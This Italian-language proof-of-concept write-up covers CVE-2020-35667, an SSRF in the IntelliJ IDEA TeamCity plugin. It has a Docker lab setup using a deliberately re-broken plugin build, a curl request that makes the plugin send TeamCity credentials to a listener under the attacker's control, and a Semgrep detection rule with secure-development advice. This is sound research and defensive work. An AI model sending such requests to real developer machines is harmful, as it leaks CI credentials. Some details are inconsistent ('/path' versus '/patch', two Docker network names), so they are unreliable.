
Exploit proof-of-concept per CVE-2020-35667, una vulnerabilità SSRF nel plugin IntelliJ IDEA TeamCity che porta alla perdita di credenziali tramite parametro URL non validato.
DICHIARAZIONE DI NON RESPONSABILITÀ Il comportamento vulnerabile illustrato di seguito è stato verificato empiricamente da artefatti decompilati e corretti, che cercano di somigliare alla vulnerabilità originale dedotta con un approccio euristico, poiché la versione originale vulnerabile del plugin non è più disponibile. Il repository contiene uno zip con una build minimamente modificata (derivata dalla versione corretta) utilizzata per la riproduzione di laboratorio isolata.
Questa CVE riguarda il plugin di integrazione TeamCity per IntelliJ IDEA, che consente l'integrazione dell'IDE con TeamCity, un orchestratore CI/CD e archivio che memorizza configurazioni di build e altri artefatti, esposti tramite API REST/RPC.
Il plugin apre localmente pochi endpoint HTTP, che in uno scenario comune vengono chiamati con i componenti che il plugin ha aggiunto alla GUI. Nella configurazione osservata, questo server locale non implementa alcun livello di controllo degli accessi e di fatto agisce come middleware tra l'IDE e il server TeamCity.
Il gestore delle richieste lato server del plugin accetta un parametro controllato dall'utente nell'URL e lo utilizza per costruire un URL di download della patch senza una validazione sufficiente (CWE-918). Il plugin emette quindi una richiesta HTTP GET all'URL appositamente costruito, trasportando le intestazioni di autenticazione dell'utente autenticato, con le credenziali TeamCity, poiché TeamCity espone API REST/RPC. Si assume che l'attaccante, se può raggiungere l'host dello sviluppatore (ad es. tramite phishing, XSS), possa eseguire un attacco SSRF (CAPEC-6634), forzando il plugin a effettuare una richiesta verso un host controllato dall'attaccante, che è in ascolto sull'endpoint codificato nel parametro controllato dall'utente, portando alla divulgazione delle credenziali. Ciò pone le basi, ad esempio, per un punto d'appoggio (foothold) o un movimento laterale.
Connection.run() → Connection.doHandle()
recupera l'URI della richiesta e i parametri, analizzati nella mappa params (incluso il parametro file)ActivatorBase.handle(res, params, ...) — res == "/patch" attiva handleLoadPatch(params)handleLoadPatch pianifica il lavoro e alla fine chiama UrlUtil.createUrl(params, serverUrl) — questo è il componente che ho modificato per renderlo vulnerabile; il valore di file viene inserito come schema:indirizzo/percorso dell'URL senza validazione, gli altri parametri vengono aggiunti in codaActivatorBase.downloadPatch(patchUrl, username, password) crea un HttpClient con UsernamePasswordCredentials e chiama client.executeMethod(get); la richiesta di rete effettiva viene inviata a patchUrlLa mia configurazione: TeamCity 2020.2.1, IntelliJ IDEA Community 2018.1.8, host: ARM64 Kali Linux 2025.3. Tutti i container sono isolati dalla rete (air-gapped).
(opzionale) crea una rete docker isolata
docker network create tc-nec
Scarica e avvia IntelliJ IDEA, crea un progetto effimero di qualsiasi tipo. Carica l'estensione fornita come file zip.
Compila e avvia il container del server TeamCity : gli artefatti rilevanti sono forniti nella cartella tc-server, raggiungi la dashboard di TeamCity e crea un ambiente TeamCity effimero e un utente
docker build -t lab-teamcity ./pocartifacts/tc-server
docker run -d --name lab-teamcity \
--network tc-net \
-p 127.0.0.1:8111:8111 \
lab-teamcity
Compila e avvia il sink HTTP malevolo : gli artefatti rilevanti sono forniti nella cartella http-listener
docker build -t lab-sink ./pocartifacts/http-listener
docker run -d --name lab-sink \
--network tc-net \
-p 127.0.0.1:8000:8000 \
lab-sink
(opzionale) abilita il logging del plugin con severità trace per un'analisi granulare dell'esecuzione : GUI dell'IDE → cerca impostazioni debug log → aggiungi la riga #jetbrains.buildServer.activation → riavvia l'IDE
Connettiti al server TeamCity locale : Settings → Tools → TeamCity → Add Server e puntalo a http://127.0.0.1:8111 , accedi con l'utente creato
invia la seguente richiesta
curl -Is http://localhost:63330/path?file=http://localhost:8000/&modId=&personal=false
Il server sink ha registrato la richiesta http del plugin
docker exec lab-sink "cat sink.log"
Innanzitutto vorrei suggerire di spostare la sicurezza a sinistra (shift left) nel ciclo di sviluppo del software (SDLC), tramite la specifica di requisiti di sicurezza quantificabili e implementabili, mantenendo i requisiti OWASP ASVS come linea guida, facendone un fork e adottando solo quelli legati al codice e pertinenti ai requisiti dell'applicazione. Gli specialisti di Application Security dovrebbero mappare questi requisiti a specifici componenti del codice o anche a singoli snippet. Gli sviluppatori dovrebbero essere formati per sapere come implementare questi requisiti di sicurezza: conoscere i meccanismi di sicurezza integrati nel loro linguaggio/framework. Insieme dovrebbero lavorare su una matrice che mappi ogni requisito al pacchetto, alla classe o alla funzione di proprietà e che elenchi i relativi controlli di accettazione (unit test, regole SAST); ciò garantirebbe la conformità del codebase all'insieme ASVS derivato dal fork.
Devono essere integrati molteplici gate di revisione della sicurezza lungo l'intera pipeline di consegna. Dalla macchina dello sviluppatore, attraverso un plugin IDE e hook git pre-commit, fino a scansioni complete nella pipeline CI e DAST basato su fuzzing in ambienti dedicati (continuous deployment). In caso di qualsiasi errore, la build/la consegna dovrebbe fallire. I dati risultanti da queste scansioni dovrebbero essere costantemente aggregati e rivisti per perfezionare il processo ed eliminare falsi positivi/veri negativi.
Questo è un esempio di regola Semgrep per rilevare la costruzione di URL senza sanificazione dei parametri controllati dall'utente, in Java con la libreria http-client utilizzata nel plugin
rules:
- id: java-ssrf-url-from-params
patterns:
- pattern-either:
- pattern: |
$A = params.get($P)
...
$URLSTRING = $A + $REST
...
new URL($URLSTRING)
- pattern: |
$A = request.getParameter($P)
...
$URLSTRING = $PREFIX + $A + $SUFFIX
...
new URL($URLSTRING)
- pattern: new URL(params.get($P))
- pattern: new URL(request.getParameter($P))
- pattern-not: "// semgrep:skip"
message: |
Possible SSRF / unsafe URL construction: URL is built from request parameters without validation.
Validate/whitelist scheme and host; canonicalize path; do not forward credentials to untrusted hosts.
languages: [java]
severity: ERROR
metadata:
cwe: "CWE-918"
tags: ["security", "ssrf", "input-validation"]